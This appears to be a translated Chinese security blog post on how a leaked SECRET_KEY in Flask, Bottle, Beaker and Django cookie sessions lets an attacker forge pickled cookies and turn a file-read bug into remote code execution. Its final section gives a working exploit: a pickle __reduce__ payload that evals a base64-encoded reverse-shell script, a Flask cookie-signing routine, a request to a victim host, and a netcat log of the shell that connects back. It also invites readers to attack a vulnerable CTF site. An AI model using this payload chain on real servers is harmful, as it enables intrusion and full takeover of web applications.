對于Python的框架中一些會話程序的管理

Django, Bottle, Flask,等所有的python web框架都需要配置一個SECRET_KEY。文檔通常推薦我們使用隨機的值，但我很難發現他有任何文字說明，因為這樣容易被破解(本地攻擊或者文本閱讀在web app中更容易受攻擊)。攻擊者可以使用SECRET_KEY偽造cookies，csrf token然后使用管理員工具。不過這很難做到，不過他可以搞一些小破壞，比如執行惡意代碼。這也是我下面將要介紹的。

記得以前使用PHP找到一個可以讀服務器上任意文件的bug(不包含本地文件)，你將會被迫選擇遠程執行代碼（RCE）。你就需要審查大部分的app資源文件來找到其他的bugs或者有用的信息（比如說用戶密碼，或者數據庫信息等）。在這個情況下，我們能說PHP是更安全的嗎？
在攻擊一個Python網站框架的時候，知道你設置的SECRET_KEY字段的攻擊者，能夠簡單的將LFR攻擊升級到RCE攻擊。我(作者)是從攻擊一系列的網站框架之后得出如上結論的。在這些網站框架中，都有雷同的，使用Pickle作為將經過簽名的Cookie序列化的方式。

在Flask框架中，Flask在config['SECRET_KEY']被賦予某個值，session_cookie_name(default='session')存在于cookie中的時候，將Cookie反序列化，甚至在沒有session的情況下。(這樣多么好，攻擊者可以僅僅通過向config file添加SECRET_KEY的方式制造后門，并且，天真的用戶將認為這非常'重要')
  從 werkzeug library 里面提取出來的反序列方法是這樣的:
  
def unserialize(cls, string, secret_key):
    if isinstance(string, unicode):
      string = string.encode('utf-8', 'replace')
    try:
      base64_hash, data = string.split('?', 1)
    except (ValueError, IndexError):
      items = ()
    else:
      items = {}
      mac = hmac(secret_key, None, cls.hash_method)
      # -- snip ---
      try:
        client_hash = base64_hash.decode('base64')
      except Exception:
        items = client_hash = None
      if items is not None and safe_str_cmp(client_hash, mac.digest()):
        try:
          for key, value in items.iteritems():
            items[key] = cls.unquote(value)
        except UnquoteError:
          # -- snip --
      else:
        items = ()
    return cls(items, secret_key, False)

反序列方法檢查簽名，然后在簽名正確的情況下unquote()cookie的值。unquote()方法看起來非常無辜，但是事實上，這是一個默認的pickle.    
#: the module used for serialization. Unless overriden by subclasses
#: the standard pickle module is used.
serialization_method = pickle
def unquote(cls, value):
  # -- snip --
    if cls.quote_base64:
      value = value.decode('base64')
    if cls.serialization_method is not None:
      value = cls.serialization_method.loads(value)
    return value
  # -- snip --

Bottle: 在默認的bottle設定中時沒有真正的secret key的，但是也許有人想要用signed cookie的功能來加密他自己的cookie.

讓我們來看看代碼是怎么樣的:    
def get_cookie(self, key, default=None, secret=None):
  value = self.cookies.get(key)
  if secret and value:
    dec = cookie_decode(value, secret) # (key, value) tuple or None
    return dec[1] if dec and dec[0] == key else default
  return value or default

當這個密鑰被展現出來的時候，并且在cookie中還有其他數值的時候，cookie_decode  方法被調用:    
def cookie_decode(data, key):
  data = tob(data)
  if cookie_is_encoded(data):
    sig, msg = data.split(tob('?'), 1)
    if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):
      return pickle.loads(base64.b64decode(msg))
  return None

再次，我們看到了Pickle !

Beaker 的session:(任何服務都可以在session上使用beaker的中間件，bottle框架甚至推薦這么做) Beaker.Session 具有很多功能，并且這可能被混淆: 這里面有三個密鑰 secret_key, validate_key, encrypted_key)
    encrypt_key: 加密cookie信息，然后要么向客戶端發送(session.type="cookie"/Cookie mode)，要么在(session.type="file"/File mode)中儲存。如果沒有設定encrypt_key,那么cookie不會被加密，只會被base64編碼。當有encrypt_key的時候，cookie會被用encrypted_key, validate_key(可選)和一個隨機值用AES方法加密。
    validate_key: 用來給加密的cookie簽名
    secret:在用File mode時候給cookie簽名(我不知道為什么他們不就用一個validate_key就好了！)
當然，當有人對文件擁有讀的權限的時候，他/她理所當然知道所有的字段。然而，File mode使得攻擊不得能因為我們對已經序列化的數據并沒有控制權，例如，當這些數據儲存在本地硬盤上的時候。在Cookie mode,攻擊就能夠成立，即便cookie被編碼了(因為我們知道怎么encrypt,哈哈)。你也許會問，那個隨機參數是不可知的，你們沒辦法攻擊，幸運的是這個隨機參數也是cookie存數的session數據的一部分，因此，我們可以將其替代為任何我們需要的值。
下面是他們構造session數據的代碼   
def _encrypt_data(self, session_data=None):
   """Serialize, encipher, and base64 the session dict"""
   session_data = session_data or self.copy()
   if self.encrypt_key:
     nonce = b64encode(os.urandom(6))[:8]
     encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,
                     self.validate_key + nonce, 1)
     data = util.pickle.dumps(session_data, 2)
     return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))
   else:
     data = util.pickle.dumps(session_data, 2)
     return b64encode(data)

我們明顯的看到這些數據的處理存在風險。

Django: 最知名也是在Python語言中最復雜的一個服務器框架。而且，沒錯，Django的開發者們在Cookie Session上放置了一個蠻不錯的警告。以我之鄙見，這個警告不夠，而應該被替換成'致命'或者是'警示'，并且標上紅色。

Django的Session是咋么工作的呢？我們能夠從Django的文檔中輕易的找到可閱讀的答案:總而言之，Django給了session 3個可以設定的項目:db,file以及signed_cookie。再一次，我們只對signed_cookie產生興趣，因為我們可以輕松的改變它。如果SESSION_ENGINE被設定為“django.contrib.sessions.backends.signed_cookies“,我們就確定signed_cookie是背用于session的管理。

有趣的是，如果我們在request cookie里面構造一個sessionid，它總是會被反序列化。Django也給了我們一個cookie是如何被簽名的好實例。這讓我們的工作輕松多了。

我們的攻擊

我們還沒有討論我們如何攻擊（有些你可能已經知道了）！感謝您的耐心看到最后，我寫它在最后是因為攻擊手段充滿共性，而且簡單（是的，原則性的知識）。

在這里，我們可以讀取任何文件。要找到Python應用程序的配置文件并不難，因為到處有導入(import)。當我們獲得的密鑰時，我們可以簡單的實現（或重復使用）簽署web框架的cookie，并使用我們的惡意代碼。 因為它們使用的是pickle.loads()反序列化的時候，我們的使用pickle.dumps()保存惡意代碼。

piclke.dump()和loads()通常在處理整數，字符串，數列，哈希，字典類型的時候是安全的....但是他在處理一些惡意構造的數據類型的時候就不安全了！事實上，攻擊者可以通過構造的數據類型來達到執行任意Python代碼的目的。我寫了一段不錯的小程序來吧Python代碼轉換成Pickle序列化的對象。我們應該從connback.py開始閱讀(這實際上是一個反向鏈接的shell),然后我們將誘使對方網站來用Pickle方法將其序列化。如果有人執行了pickle.loads(payload),那么我們的反向鏈接shell就會被激活。  
code = b64(open('connback.py').read())
class ex(object):
  def __reduce__(self):
    return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

現在我們簽名(適用于flask web框架):    
def send_flask(key, payload):
  data = 'id='+b64(payload)
  mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())
  s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

然后發送    
print requests.get('http://victim/', cookies={'session':s})

在另外一個終端里:    
danghvu@thebeast:~$ nc -lvvv 1337
Connection from x.x.x.x port 1337 [tcp/*] accepted
!P0Wn! Congratulation !!
sh: no job control in this shell
sh-4.1$

還有啥?

-所以怎樣？只要你不知道我的secret_key我就是安全的！可以啊，你可以這樣....但是和宣稱："我把我的鑰匙放在房頂上，我知道你爬不上來..."沒啥區別。

-好的， 所以如果我不用這種session cookie,我就安全了！沒錯，在小型的web app上，將session 儲存在文件里面更安全(如果放在DB里面，我們還面臨SQL Injection的危險)。但是如果是大型web app，然后你有個分布式的存儲方式，這將導致嚴重的效率問題。

-那咋辦？也許我們應該讓那些web框架不要用piclke來序列化？我不知道是否存在這種框架，如果有的話就好了。PHP更安全嗎？事實上不是如此

最后：

Web.Py,當我查看他們的web session文檔的時候我發現:CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL

所以，干得好:D ，也許所有人都應該這樣做。你們應該去試試web.py和其他框架。

我做了這些，如果你想要讓它奏效你也可以花點時間上去。

作為一個禮物，這個網站是有這個漏洞的，讓我們看看你們是不是能夠把lfr bug升級成為一個rce，然后你們會找到真正的禮物：一個flag...

更新:有漏洞的網站的源碼放在github上了，它的secret_key已經不一樣了。